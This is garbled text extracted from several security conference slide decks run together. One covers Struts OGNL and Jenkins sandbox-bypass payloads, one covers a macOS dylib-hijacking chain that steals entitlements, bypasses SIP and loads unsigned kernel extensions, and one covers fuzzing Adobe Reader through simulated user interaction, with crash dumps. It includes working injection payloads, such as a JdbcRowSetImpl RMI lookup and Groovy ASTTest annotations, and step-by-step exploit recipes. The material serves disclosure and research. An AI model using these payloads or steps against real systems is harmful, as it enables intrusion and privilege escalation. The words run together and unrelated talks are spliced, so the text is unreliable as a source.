70、T_KEY=root;public static final String THIS_CONTEXT_KEY=this;S2-045S2-057?Ognl?Ognl?S2-057?(#c=#requeststruts.valueStack.context).(#container=#ccom.opensymphony.xwork2.ActionContext.container).S2-045?(#container=#contextcom.opensymphony.xwork2.ActionContext.container)1?#context?2?request.getAttribute
71、(struts.valueStack)3?OgnlValueStack?context PoC?demoResult(#jdbc=new com.sun.rowset.JdbcRowSetImpl().(#jdbc.setDataSourceName(rmi:/127.0.0.1:1099/Exploit).(#jdbc.setAutoCommit(true)(#n=#requeststruts.actionMapping.namespace.substring(0,1).(#rmi=rmi:+#n+#n+127.0.0.1:1099+#n+Exploit).(#jdbc=new com.su
72、n.rowset.JdbcRowSetImpl().(#jdbc.setDataSourceName(#rmi).(#jdbc.setAutoCommit(true)?DemoPART 03?SandboxInterceptor?method invokenew Instancestatic methodset propertyget propertyset attributeget attributesuper callset arrayget arraySecurity-1266/CVE-2019-100300payload1.?2.Java?3.?SECURITY-1266SECURIT
73、Y-1292SECURITY-1318SECURITY-1319SECURITY-1320SECURITY-1321Grab(group=foo,module=bar,version=1.0)Grapes(Grab(group=foo,module=bar,version=1.0)GrabResolver(name=restlet.org,root=http:/maven.restlet.org)groovy.transform.ASTTest(value=assert Jenkins.getInstance().createProject()AnnotationCollector(ASTTe
74、st)interface Lol Lol(value=import groovy.transform.ASTTest as lolwut;lolwut(value=)PART 04?Oracle?Java?Java?macOS 從運行庫劫持到內核提權PART 01Attack SurfaceCONTENTSPART 02Root CausePART 03ExploitPART 04Mitigation01020304Why kernel exploit To overcome or disable System Integrity Protection(Rootless)File system
75、 protection(/System)Attaching to Apple-signed processes Enforced signature validation for KEXT Deploy Rootkits Gain more pwn pointsMotivation General approach attack kernel mode driver or XNU to control$pc,then disable SIP in kernel mode Think outside the box Is memory corruption always necessary?Do
76、 the target have be the kernel itself or kernel mode drivers?What about user space SIP bypass to gain kernel privilege?PART 01An Attack Surfacepatch kextd(osxreverser,Nov 2013)Custom build of kextload(patrickwardle,BlackHat US 2015)Old days with kext_toolsIssue 676:Logic error when exec-ing suid bin
77、aries allows code execution as root on OS X/iOS(CVE-2015-3708)Issue 353:OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension(CVE-2015-3709)Issue 1520:MacOS double mach_port_deallocate in kextd due to failure to comply with MIG ownership rules(CVE-2018-413
78、9)Issue 676:Logic error when exec-ing suid binaries allows code execution as root on OS X/iOS(CVE-2015-3708)User mode only,logicIssue 353:OS X kextd bad path checking and toctou allow a regular user to load an unsigned kernel extension(CVE-2015-3709)User mode only,logicIssue 1520:MacOS double mach_p
79、ort_deallocate in kextd due to failure to comply with MIG ownership rules(CVE-2018-4139)User mode only,MIG lifetimeArbitrary code execution in kextd=kernel code executionkextloadkextdXNUDoesnt matterWhat makes kextd so special Its entitlement A bundle resource containing key-value pairs that grant t
80、he executable permission to use an app service or technology A property list(XML serialized)embedded in executables code signature Some entitlements are for Apple signed binaries only“taskgated:killed app because its use of the com.apple.*entitlement is not allowed”jtool-ent/usr/libexec/kextd-arch x
81、86_64com.apple.private.KextAudit.user-accesscom.apple.private.allow-blesscom.apple.private.kernel.get-kext-infocom.apple.rootless.kext-secure-managementcom.apple.rootless.storage.KernelExtensionManagementcom.apple.security.cs.allow-unsigned-executable-memoryEntitled to call kext_requestPermission to
82、 write/Library/StagedExtensionsChecks by kextd/kextload/kextutil Implemented in function authenticateKext of kext_tools Check bundle permission,must be owned by root and not writable by other groups Check bundle signature:must be signed During the loading process,the bundle must be staged to a rootl
83、ess protected location:/Library/StagedExtensions(requires com.apple.rootless.storage.KernelExtensionManagement entitlement)Invoke syspolicyd to ask user for approval to load a valid signed third party extension(User-Approved Kernel Extension Loading or SKEL)If SIP is disabled,some of the checks will
84、 be skippedSecure Kernel Extension Loading Even a valid signed kernel extension still requires user approve to load Managed by user space daemon syspolicyd,not XNU Rules stored in a SQLite database The database is protected by rootless,even root permission is insufficient to modify sudo file/var/db/
85、SystemPolicyConfiguration/KextPolicy/var/db/SystemPolicyConfiguration/ExecPolicy:SQLite 3.x database,last written using SQLite version 3024000 sudo xattr/var/db/SystemPolicyConfiguration/com.apple.rootless sudo sqlite3/var/db/SystemPolicyConfiguration/KextPolicySQLite version 3.24.0 2018-06-04 14:10
86、:15Enter.help for usage hints.sqlite.tableskext_load_history_v3kext_policy_mdmkext_policysettingssqlite.header onsqlite select*from kext_policy;team_id|bundle_id|allowed|developer_name|flags9PTGMPNXZ2|com.symantec.kext.SymAPComm|1|Symantec|89PTGMPNXZ2|com.symantec.kext.ndcengine|1|Symantec|89PTGMPNX
87、Z2|com.symantec.kext.internetSecurity|1|Symantec|89PTGMPNXZ2|com.symantec.kext.ips|1|Symantec|8Z3L495V9L4|com.intel.kext.intelhaxm|1|Intel Corporation Apps|1VB5E2TV963|org.virtualbox.kext.VBoxDrv|1|Oracle America,Inc.|1interface KextManagerPolicy:NSObject-(BOOL)canLoadKernelExtensionAtURL:(id)url is
88、CacheLoad:(BOOL)cache;endinterface SPKernelExtensionPolicy:NSObject-(char)canLoadKernelExtension:(id)ext error:(NSError*)err;-(char)canLoadKernelExtensionInCache:(id)ext error:(NSError*)err;endkextdsyspolicydXPCPrompt/Reject/Pass based on SQLite database rulesSKEL bypass To bypass,pick any one of th
89、e following Code execution on a rootless entitled process,modify the KextPolicy database Get the task port of syspolicyd,patch-KextManagerPolicy canLoadKernelExtensionAtURL:isCacheLoad:Get the task port of kextd,patch-SPKernelExtensionPolicy canLoadKernelExtensionInCache:errorA logic kernel attack s
90、urface Neither the signature nor file permission is checked by kernel It accepts kext_request as long as the user space process has com.apple.rootless.kext-secure-management entitlement User space process kextd/kextutil/kextload are responsible to perform the signature and other validation Once you
91、own the entitlement,you rule the kernel Or you can try to obtain a task port for those entitled process(which are still protected by SIP)PART 02Hijack the EntitlementDLL Hijack on Windows Trick the target application to load malicious library Abuse DLL search order Abuse runtime(LoadLibrary)DLL hija
92、cking on trusted application to bypass UAC prompt Is there anything similar on macOS?Dylib Hijacking Use dylib hijacking to steal entitlement from Apple signed binaries Known techniques LC_LOAD_WEAK_DYLIB and relative rpathhttps:/ dlopen NSBundle.principalClass(dlopen internally)CFBundleLoadExecutab
93、le(dlopen internally)CFBundleLoadExecutableAndReturnError(dlopen internally)VM Regions Near 0 xdeadbf57:-_TEXT 0000000108b04000-0000000108b05000 4K r-x/rwx SM=COW /tmp/*Application Specific Information:dyld2 modeThread 0 Crashed:Dispatch queue:com.apple.main-thread0 libsystem_c.dylib0 x00007fff5da28
94、59c flockfile+181 libsystem_c.dylib0 x00007fff5da2b570 fwrite+662 test 0 x0000000108b04f82 main+823 libdyld.dylib0 x00007fff5d9a43d5 start+1Thread 0 crashed with X86 Thread State(64-bit):rax:0 x00000001171ee66c rbx:0 x00000000deadbeef rcx:0 x00000001171ee66c rdx:0 x0000000000000001SymbolicationThe b
95、ug The CoreSymbolication framework provides private APIs for symbolicating and other diagnostic information(/System/Library/PrivateFrameworks/CoreSymbolication.framework)Under certain circumstances it will try to load a dynamic library from a controllable path When trying to demangle Swift symbols:C
96、oreSymbolication!call_external_demangle(char const*)More specifically,it will try to load a Swift runtime library,libswiftDemangle.dylibhandle=_dlopen(/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib,1);if(handle=0)&(len=get_path_relative_to_framework_contents(././Developer/Toolchains/
97、XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib,alternative_path,0 x400),len=0|(handle=_dlopen(alternative_path,1),handle=0)&(len2=get_path_relative_to_framework_contents(././usr/lib/libswiftDemangle.dylib,alternative_path,0 x400),len2=0|(handle=_dlopen(alternative_path,1),handle=0)handle_xc
98、select=_dlopen(/usr/lib/libxcselect.dylib,1);if(handle_xcselect=0)goto cleanup;p_get_dev_dir_path=(undefined*)_dlsym(handle_xcselect,xcselect_get_developer_dir_path);if(p_get_dev_dir_path=(undefined*)0 x0)|(cVar2=(*(code*)p_get_dev_dir_path)(alternative_path,0 x400,&local_42b,&local_42a,&local_429),
99、cVar2=0)handle=0;else _strlcat(alternative_path,/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib,0 x400);handle=_dlopen(alternative_path,1);_dlclose(handle_xcselect);if(handle=0)goto cleanup;_ZL25demanglerLibraryFunctions.0=_dlsym(handle,swift_demangle_getSimplifiedDemangledName);
100、insecure dlopen(dylib hijack)00001287 leardi,s_DEVELOPER_DIR_000025b9 ;=DEVELOPER_DIR0000128e call_stubs:_getenv;char*_getenv(char*param_1)00001293 movr14,rAX00001296 testr14,r1400001299 jzenv_not_set0000129b movr13,rbx0000129e movrdi,r14000012a1 movrsi,r12000012a4 movebx,dword ptr local_440+rbp0000
101、12aa movedx,ebx000012ac movrcx,r15000012af call_xcselect_find_developer_contents_from_path;undefined _xcselect_find_develop000012b4 testfound,found000012b6 jzLAB_000013a6 000012bc movrdi,r12000012bf movrsi,r14000012c2 call_stubs:_strcmp;int _strcmp(char*param_1,char000012c7 testfound,found000012c9 j
102、zLAB_000013bb 000012cf leardi,s_DEVELOPER_DIR_000025b9 ;=DEVELOPER_DIR000012d6 movedx,0 x1000012db movrsi,r12000012de call_stubs:_setenv;int _setenv(char*param_1,charxcselect.dylib!xcselect_get_developer_dir_pathTrigging the bug This file/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib
103、 actually exists on High Sierra To force it to load our payload,apply a custom sandbox profile before spawning the entitled binary以子之盾 攻子之盾(version 1)(allow default)(deny file-read*(literal/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib)(literal/Developer/Toolchains/XcodeDefault.xctoo
104、lchain/usr/lib/libswiftDemangle.dylib)(literal/usr/lib/libswiftDemangle.dylib)Find an entitled host The binary must have special entitlement that we need have at least one code path to trigger dylib hijacking A magical entitlement com.apple.system-task-ports,with whom the process can attach to any o
105、ther processes(even those restricted),and gain arbitrary entitlementcom.apple.SamplingTools ls/usr/bin/filtercalltree,heap32,stringdups32,leaks32,heap,atos,vmmap32,sample,malloc_history32,symbols,vmmap,leaks,stringdups,malloc_history/usr/bin/atos/usr/bin/leaks32/usr/bin/stringdups32/usr/bin/filterca
106、lltree/usr/bin/malloc_history/usr/bin/symbols/usr/bin/heap/usr/bin/malloc_history32/usr/bin/vmmap/usr/bin/heap32/usr/bin/sample/usr/bin/vmmap32/usr/bin/leaks/usr/bin/stringdups vmmap FinderProcess:Finder 245Path:/System/Library/CoreServices/Finder.app/Contents/MacOS/FinderLoad Address:0 x107205000Id
107、entifier:com.apple.findercom.apple.SamplingTools There are several graphical applications and command-line tools available for gathering performance metrics.https:/ SIP exception,entitled to debug any process,including restricted jtool-ent which vmmapcom.apple.system-task-portsScenario Function task
108、_for_pid requires same euid,so we can not inject a privileged process for escalation A root process is still restricted because of System Integrity Protection Inject com.apple.rootless.*entitled processes to bypass rootless For example,com.apple.rootless.install.heritable entitlement can access rest
109、ricted files,and the entitlement is inherited by its child processesTriggering the bug Target app is written in Swift Use symbols to inspect the target app Use-printDemangling flag to trigger dylib hijack symbols pid-printDemangling12libdyld.dylib0 x00007fff5178ad86 dlopen+8613com.apple.CoreSymbolic
110、ation0 x00007fff3d800332 invocation function for block in call_external_demangle(char const*)+34814libdispatch.dylib0 x00007fff5174fe08 _dispatch_client_callout+815libdispatch.dylib0 x00007fff5174fdbb dispatch_once_f+4116com.apple.CoreSymbolication0 x00007fff3d7a380f demangle+29817com.apple.CoreSymb
111、olication0 x00007fff3d7a35e3 TRawSymbol:name()+7518com.apple.CoreSymbolication0 x00007fff3d7a888e CSSymbolGetName+16619symbols 0 x000000010ffc386a 0 x10ffb7000+5130620symbols 0 x000000010ffc3cbe 0 x10ffb7000+5241421com.apple.CoreSymbolication0 x00007fff3d7eba37 TRawSymbolOwnerData:symbols_in_address
112、_range(CSCppSymbolOwner*,TRange,void(_CSTypeRef)block_pointer)+12722symbols 0 x000000010ffc3c8e 0 x10ffb7000+5236623com.apple.CoreSymbolication0 x00007fff3d7eb890 TRawSymbolOwnerData:regions_in_address_range(CSCppSymbolOwner*,TRange,void(_CSTypeRef)block_pointer)+12424symbols 0 x000000010ffc3b6f 0 x
113、10ffb7000+5207925com.apple.CoreSymbolication0 x00007fff3d7c6c6a CSSymbolOwnerForeachSegment+9226symbols 0 x000000010ffc3af2 0 x10ffb7000+5195427com.apple.CoreSymbolication0 x00007fff3d7adbee CSSymbolicatorForeachSymbolOwnerAtTime+9528symbols 0 x000000010ffc25b1 0 x10ffb7000+4651329symbols 0 x0000000
114、10ffc00ee 0 x10ffb7000+37102Problem:Library Validation Library Validation is a protection that prohibits a process to load dynamic libraries without a digital signature issued by same team id SamplingTools on High Sierra are signed with Library Validation flag,which prohibits loading modules that ar
115、e not signed by AppleSystem Integrity Protection:enabledCrashed Thread:0Dispatch queue:com.apple.main-threadException Type:EXC_BAD_ACCESS(Code Signature Invalid)Exception Codes:0 x0000000000000032,0 x000000010d745000Exception Note:EXC_CORPSE_NOTIFYTermination Reason:Namespace CODESIGNING,Code 0 x2ke
116、rnel messages:External Modification Warnings:Process used task_for_pid().VM Regions Near 0 x10d745000:MALLOC_LARGE000000010d70a000-000000010d745000 236K rw-/rwx SM=PRV-mapped file000000010d745000-000000010d746000 4K r-x/r-x SM=PRVObject_id=2929ab85mapped file000000010d748000-000000010d762000 104K r-
117、/r-SM=ALIObject_id=2af85085Application Specific Information:dyld:in dlopen()/var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/tmp.0b5SeUjh/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib12 libdyld.dylib 0 x00007fff66c9fd86 dlopen+8613 com.apple.CoreSymbolication 0 x00007fff52d15332
118、 invocation function for block in call_external_demangle(char const*)+34814 libdispatch.dylib 0 x00007fff66c64e08 _dispatch_client_callout+815 libdispatch.dylib 0 x00007fff66c64dbb dispatch_once_f+4116 com.apple.CoreSymbolication 0 x00007fff52cb880f demangle+29817 com.apple.CoreSymbolication 0 x0000
119、7fff52cb85e3 TRawSymbol:name()+7518 com.apple.CoreSymbolication 0 x00007fff52cbd88e CSSymbolGetName+166“Im old,not obsolete”High SierraEl Capitanbin codesign-dvvv symbolsIdentifier=com.apple.SamplingToolsFormat=Mach-O thin(x86_64)CodeDirectory v=20100 size=812 flags=0 x0(none)hashes=32+5 location=em
120、beddedPlatform identifier=1Hash type=sha1 size=20bin codesign-dvvv symbolsIdentifier=com.apple.SamplingToolsFormat=Mach-O thin(x86_64)CodeDirectory v=20100 size=1384 flags=0 x2000(library-validation)hashes=36+5 location=embeddedPlatform identifier=4Hash type=sha256 size=32An old binary grabbed from
121、previous OS X does not have this flag!Exploit Craft the Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib Invoke sandbox_init_with_parameters to drop access to the legit swift libraries Set the DEVELOPER_DIR environment variable to redirect access to our payload Copy the symbols bin
122、ary from El Capitan and spawn the process Payload libswiftDemangle.dylib will be loaded in to the entitled process,who can task_for_pid for restricted processes and obtain arbitrary entitlementrootlessSIP bypassProtectedResourcesEntitledProcessOther ProcessessandboxSampling ToolsEvil dylibLegit dyli
123、battachPART 03To the KernelRule the Kernel Kickstart mach service com.apple.KernelExtensionServer(/usr/libexec/kextd)Get the task port to hijack the entitlements of kextd Since kextd is not library validation protected,just use the old school dylib injection Directly ask kernel to load the extension
124、 Plan A:Use kext_request to send a manually crafted MKEXT packet Plan B:Patch the user space checks,then call IOKit!OSKextLoadWithOptions to compose the packetKernel Code Execution without actually touching XNUXNUkextdkerneluserspaceOther ProcessessandboxSampling ToolsEvil dylibLegit dylibkext_reque
125、stattach0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF00000000 4d 4b 58 54 4d 4f 53 58 00 01 96 61 12 d4 f8 feMKXTMOSX.a.00000010 02 00 20 01 00 00 00 01 01 00 00 07 00 00 00 03.00000020 00 01 8e a4 00 00 00 00 00 00 07 bd 00 00 00 00.00000030 00 01 8e 70 cf fa ed fe 07 00 00 01 03 00 00 00.p.0000
126、0040 0b 00 00 00 08 00 00 00 a8 03 00 00 85 00 00 00.00000050 00 00 00 00 19 00 00 00 38 01 00 00 5f 5f 54 45.8._TE00000060 58 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00XT.00018ea0 00 00 00 00 3c 64 69 63 74 3e 3c 6b 65 79 3e 4b .K00018eb0 65 78 74 20 52 65 71 75 65 73 74 20 50 72 65 64 ext Reques
127、t Pred00018ec0 69 63 61 74 65 3c 2f 6b 65 79 3e 3c 73 74 72 69 icateLoad00018ee0 3c 6b 65 79 3e 4b 65 78 74 20 52 65 71 75 65 73 Kext Reques00018ef0 74 20 41 72 67 75 6d 65 6e 74 73 3c 2f 6b 65 79 t ArgumentsStar.00019640 44 52 45 46 3d 22 32 22 2f 3e 3c 2f 64 69 63 74 DREF=2/00019660 00 .MKEXT Pack
128、etmkext2_headermkext2_file_entryplistmkext2_file_entry#define MKEXT_MAGIC 0 x4D4B5854/*MKXT*/#define MKEXT_SIGN0 x4D4F5358/*MOSX*/typedef struct mkext2_header/#define MKEXT_HEADER_COREuint32_tmagic;/always MKXTuint32_tsignature;/always MOSXuint32_tlength;/the length of the whole fileuint32_tadler32;
129、/checksum from&version to end of fileuint32_tversion;/a vers style valueuint32_tnumkexts;/how many kexts are in the archivecpu_type_tcputype;/same as Mach-Ocpu_subtype_t cpusubtype;/same as Mach-Ouint32_t plist_offset;uint32_t plist_compressed_size;uint32_t plist_full_size;mkext2_header;typedef stru
130、ct mkext2_file_entry uint32_tcompressed_size;/if zero,file is not compresseduint32_tfull_size;/full size of data w/o this structuint8_tdata0;/data is inline to this struct mkext2_file_entry;The Kill-Switch KEXT Validations Code Signature KEXT Staging SKELrootless_check_trusted_classOSKextIsAuthentic
131、-SPKernelExtensionPolicy canLoadKernelExtensionInCache:errorcsr_checkLoad completely unsigned kext on macOS 10.13.6(17G65)(chained with CVE-2019-8565 Apple Feedback Assistant local root privilege escalation)PoC You can grab the source code herehttps:/ 04Patch and MitigationThe(unintended?)patch The
132、buggy code has been removed.It only loads a hard-coded path now Released in the Developer Preview of macOS Mojave,before I noticed the bug on High Sierra.Looks more like code refactoring than a security fixvoid _ZL22call_external_demanglePKc_block_invoke(void)char*bDoNotDemangleSwift;void*handle;bDo
133、NotDemangleSwift=_getenv(CS_DO_NOT_DEMANGLE_SWIFT);if(bDoNotDemangleSwift=NULL)|(byte)(*bDoNotDemangleSwift-0 x30U)(ulong)(byte)(*bDoNotDemangleSwift-0 x30U)&0 x1f)&1)!=0)handle=_dlopen(/System/Library/PrivateFrameworks/Swift/libswiftDemangle.dylib,1);if(handle!=0)_ZL25demanglerLibraryFunctions.0=_d
134、lsym(handle,swift_demangle_getSimplifiedDemangledName);return;Wait,theres another bug But actually theres another dylib hijacking that still present on macOS Mojave 10.14.2 Directly triggered without any sandbox or environment string trick sudo fs_usage|grep swift10:29:53stat64/Applications/IINA.app
135、/Contents/Frameworks/libswiftRemoteMirror.dylib0.000020 stringdups10:29:53stat64/Applications/IINA.app/Contents/Frameworks/libswiftRemoteMirrorLegacy.dylib0.000010 stringdups10:29:53stat64/Applications/IINA.app/Contents/libswiftRemoteMirror.dylib0.000010 stringdups10:29:53stat64/Applications/IINA.ap
136、p/Contents/libswiftRemoteMirrorLegacy.dylib0.000008 stringdups10:29:53stat64/Applications/IINA.app/Contents/Resources/libswiftRemoteMirrorLegacy.dylib0.000017 stringdups10:29:53stat64/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib0.001133 stringdups stringdups IINAProce
137、ss:IINA 99806Path:/Applications/IINA.app/Contents/MacOS/IINALoad Address:0 x10a422000Identifier:com.colliderli.iinaBOOL _cdecl-VMUObjectIdentifier _dlopenLibSwiftRemoteMirrorFromDir:(VMUObjectIdentifier*self,SEL a2,NSString*directory)if(!directory)return NO;if(!self-_libSwiftRemoteMirrorHandle)handl
138、e=dlopen(NSString stringWithFormat:%/libswiftRemoteMirror.dylib,directory UTF8String,RTLD_LAZY);.if(!self-_libSwiftRemoteMirrorLegacyHandle)handle=dlopen(NSString stringWithFormat:%/libswiftRemoteMirrorLegacy.dylib,directory UTF8String,RTLD_LAZY);.Another dylib Hijack Bug location:/System/Library/Pr
139、ivateFrameworks/Symbolication.framework-VMUObjectIdentifier _dlopenLibSwiftRemoteMirrorFromDir:Triggered when gathering Swift runtime information with these commands heap pid stringdups pidMitigation The variant doesnt work anymore on macOS Mojave Hardened Runtime has been applied The old SamplingTo
140、ols binary copied from El Capitan will be enforced to have library validation,even they are signed without that flag Only the binaries entitled with com.apple.security.cs.disable-library-validation can bypass com.apple.SamplingTools have been renamed to have their unique identifiers(.apple.SamplingT
141、ools.vmmap),and have a new entitlement com.apple.system-task-ports.safeThanksCodeColorist2 0 1 8源于2014年的思路2014年5月29日,我們發現了一個古天樂般平平無奇的IE漏洞(CVE-2014-1792)POC非常簡單 72字節的Use-After-Free漏洞 啟發 一開始無法重現 反復試驗后發現拖拽文件入瀏覽器可觸發UAF在mshtml!CDragDropManager:DragOver+0 x1f9 Fuzzer確實有亂發送鼠標鍵盤事件的模塊 復盤發現情況,尋找原因 結論:不知道咋找到的(
142、攤手)類似的還有CVE-2014-1791等 有交互的漏洞似乎符合我們的期望 小眾,難找,難重現 Fuzz效率低,性價比堪憂,鮮有人做 沒有現成工具,一切需要從頭搭建 能找到各種搞不清楚原因的漏洞結論與立項原因 簡單的說 以前我們關注觸發的內容,現在我們嘗試觸發的姿勢 有交互要處理,沒有交互制造交互也要處理 收集會引起交互的PDF元素 JS command 引起錯誤及安全等級相關的元素 發送會引起交互的事件 JS層面 用戶輸入層面 模擬用戶響應思路 app.execMenuItem(xx);76 actions:GoToPage,FitPage,TwoColumns app.alert(xx)
143、console.show();this.mailDoc(true);this.mailForm(true);this.print(xx)this.saveAs(xx)this.insertPages(xx)app.launchURL(xx)引起交互的JS引起一些交互引起一些可以被Adobe Reader容忍的錯誤 無效的參數 不存在的對象 安全等級警告 引起一些錯誤引起一些錯誤 鍵盤事件 隨機字符輸入:圓周率映射到字符 快捷鍵與快捷鍵組合:Ctrl+H,Ctrl+L,Alt+F4 鼠標事件 鼠標移動:mouse_event()點擊與拖拽:左鍵,右鍵,鼠標壓下,鼠標放起 滾輪事件:滾動方向,點擊
144、 系統事件與其它用戶輸入層面 不同的提示信息對話框 不同的按鈕,確定/取消/是/否 需要輸入的對話框 頁面跳轉:跳轉到有效頁面,跳轉到無效頁面,取消跳轉 標簽與選項選擇:單選框,復選框,確認/應用/取消 翻頁與縮放 其它動作 全屏、打?。涸试S/不允許,取消,記住選擇 關閉應用程序:正常退出,強制退出,取消退出進一步細分 輸入隨機,但可以記錄隨機種子來回放 記錄系統環境(內存、顯示設置等)記錄應用程序初始與結束配置(窗口大小等)記錄輸入時間間隔 記錄虛擬機與物理機負載 記錄網絡響應情況可靠重現的條件 生成混合有各種因素的PDF樣本 打開后根據對話框情況模擬用戶響應 沒有交互時制造一些交互事件 后
145、臺對每次響應與主動事件進行記錄 等待并觀察一段時間,看是否有crash 重復第一步整合在一起 氣宗 從頭開始構造文件 通過JS構造頁面及頁面元素 劍宗 找個模板替換掉JS 其它不知道什么宗 Dummy fuzzing然后我們談談樣本生成 敝廠特拉維夫分廠有人在做氣宗的活 我們對PDF文件格式吃得不是很透(謙虛臉)黑哥對氣劍宗的屁話一直耿耿于懷 黑哥對氣劍宗的屁話一直耿耿于懷 黑哥對氣劍宗的屁話一直耿耿于懷我們向劍宗低了頭爬收集JS API素材 文檔不全的用枚舉來搜索一次(見下一頁)佛系Fuzzing構建function obj(o)for(i in o)console.println(oi);
146、obj(this);爬收集JS API素材 文檔不全的用枚舉來搜索一次從基礎文件中搜集objects名佛系Fuzzing構建6 0 obj endobj7 0 obj endobj8 0 obj endobj21 0 obj/FT/Ch /Parent 10 0 R/Ff 1545433046/T(mydata1)/Type/Annot/Subtype/Ink/Rect 50 320 100 345/BS/H/P/AP /AA 16 0 R endobj“Text”,”BigRect”,”SmallRect”,”mydata1”爬收集JS API素材 文檔不全的用枚舉來搜索一次(見下一頁)從基
147、礎文件中搜集objects名混合起來生成適合基礎文件的JS語句佛系Fuzzing構建JS語句庫this.getField()對象庫“mydata1”this.getField(“mydata1)JS語句庫.setFocus()this.getField(“mydata1).setFocus();爬收集JS API素材 文檔不全的用枚舉來搜索一次從基礎文件中搜集objects名混合起來生成適合基礎文件的JS語句替換/插入基礎文件中的JS語句佛系Fuzzing構建1 0 obj/Type/Catalog/Pages 2 0 R/OCProperties/OCGs 6 0 R 7 0 R 8 0 R
148、/D/AcroForm 10 0 R/OpenAction 40 0 R endobj40 0 obj endobj%JS program to exexute41 0 obj streamapp.alert(hmm,nice day!);endstreamendobj1 0 obj/Type/Catalog/Pages 2 0 R/OCProperties/OCGs 6 0 R 7 0 R 8 0 R/D/AcroForm 10 0 R/OpenAction 40 0 R endobj40 0 obj endobj%JS program to exexute41 0 obj streamth
149、is.getField(“mydata1).setFocus();endstreamendobj爬收集JS API素材文檔不全的用枚舉來搜索一次從基礎文件中搜集objects名混合起來生成適合基礎文件的JS語句替換/插入基礎文件中的JS語句佛系Fuzzing構建Mutools是個好工具!Adobe Reader會自己升級 將前一頁的步驟都自動化 通過網絡共享獲取基礎文件 通過網絡共享保存結果 自動化精簡工具 GPG精簡后的樣本和調試信息佛系Fuzzing構建我們有五臺二手服務器!我們運行了四十個虛擬機!我們都四年沒升級過機器了!中間還壞/換了一塊RAID卡大規模跑 點掉第一個錯誤信息后等待.p
150、df 稍微往下滾動鼠標.pdf 選擇雙頁視圖后滾動鼠標到第三頁.pdf 確認掉前三個錯誤信息后跳轉到第一頁.pdf結果是我們找到了些需要交互的%PDF-1.61 0 obj/Pages 2 0 R/OCProperties /AcroForm 10 0 R/OpenAction 40 0 R40 0 obj 41 0 obj streamtryapp.execMenuItem(SinglePage);catch(e)endstream2 0 obj 3 0 obj/Resources /Annots 11 0 R 21 0 R 42 0 R4 0 obj streamendstream10 0
151、 obj 11 0 obj 21 0 obj 42 0 obj 14 0 obj 15 0 obj trailer Patched Sample 1(10a0.1cfc):Access violation-code c0000005(!second chance!)eax=002ad788 ebx=3cb181b8 ecx=4b3c8f38 edx=3d6fcfe8 esi=69007bfc edi=4b3c8f38eip=681cd408 esp=002ad760 ebp=002ad760 iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=00
152、23 es=0023 fs=003b gs=0000 efl=00010246AcroRd32_68010000!PDAlternatesGetCosObj+0 x54f78:681cd408 8b11 mov edx,dword ptr ecx ds:0023:4b3c8f38=?1:009!heap-p-a ecx address 4b3c8f38 found in _DPH_HEAP_ROOT 3a1000 in free-ed allocation(DPH_HEAP_BLOCK:VirtAddr VirtSize)55a21ccc:4b3c8000 2000 6f6a90b2 veri
153、fier!VerifierDisableFaultInjectionExclusionRange+0 x00003162 77ba69cc ntdll!RtlpNtMakeTemporaryKey+0 x000048b1 77b69e07 ntdll!EtwSetMark+0 x0000eb7f 77b363a6 ntdll!wcsnicmp+0 x00000caa 763bc614 kernel32!HeapFree+0 x00000014 6de2ecfa MSVCR120!free+0 x0000001a 68307cdc AcroRd32_68010000!CTJPEGLibTermi
154、nate+0 x00014b7c 68307a45 AcroRd32_68010000!CTJPEGLibTerminate+0 x000148e5 6818ef98 AcroRd32_68010000!PDAlternatesGetCosObj+0 x00016b08 6818a74b AcroRd32_68010000!PDAlternatesGetCosObj+0 x000122bb 6818a36e AcroRd32_68010000!PDAlternatesGetCosObj+0 x00011edePatched Sample 1%PDF-1.2 1 0 obj/Pages 2 0
155、R/OCProperties/D /OpenAction 40 0 R 40 0 obj/S/JavaScript/JS(app.alert(click to trigger the crash);%endobj 2 0 obj 3 0 obj/MediaBox 0 0 400 550/Resources/Annots 11 0 R 21 0 R 42 0 R endobj 11 0 objendobj 14 0 objendobj 15 0 objendobj trailer Patched Sample 2(1a40.840):Access violation-code c0000005(
156、first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.ACROFORM!DllUnregisterServer+0 x107759:55bbdc02 ff734c push dword ptr ebx+4Ch ds:002b:3f07cf0c=?0:000:x86 kvChildEBP RetAddr Args to Child WARNING:Stack unwind information not a
157、vailable.Following frames may be wrong.002ceb00 55bcfec1 32172fa0 002ced48 55c049cf ACROFORM!DllUnregisterServer+0 x107759002ceb0c 55c049cf 00000001 00000001 bbd31539 ACROFORM!DllUnregisterServer+0 x119a18002ced48 55c004c2 56366bf8 c0010000 00000005 ACROFORM!DllUnregisterServer+0 x14e526002ced64 55b
158、f7d63 56366bf8 c0010000 00000005 ACROFORM!DllUnregisterServer+0 x14a019002ceeb4 5802429c 56366978 c0010000 00000005 ACROFORM!DllUnregisterServer+0 x1418ba002cef14 586d4f8b 00000000 00000000 173faef0 AcroRd32_57de0000!CTJPEGDecoderReadNextTile+0 x4fe0c002cef44 586d61fc 00000000 bb8de7b7 173faef0 Acro
159、Rd32_57de0000!AIDE:PixelPartInfo:operator=+0 x27a73b002cef90 5883b200 00000000 bb8de7f7 173faef0 AcroRd32_57de0000!AIDE:PixelPartInfo:operator=+0 x27b9ac002cefd0 57f732c8 00000000 bb8df843 00000000 AcroRd32_57de0000!ixVectorNextHit+0 x6a578002cf064 5883b653 00000000 bb8df897 00000000 AcroRd32_57de00
160、00!PDAlternatesGetCosObj+0 x2ae38002cf0b0 586d6f92 00000000 bb8df8df 215661b8 AcroRd32_57de0000!ixVectorNextHit+0 x6a9cb002cf0f8 5850ba83 00000000 00000000 002cf158 AcroRd32_57de0000!AIDE:PixelPartInfo:operator=+0 x27c742002cf108 55af0c8a 215661b8 c0010000 00000005 AcroRd32_57de0000!AIDE:PixelPartIn
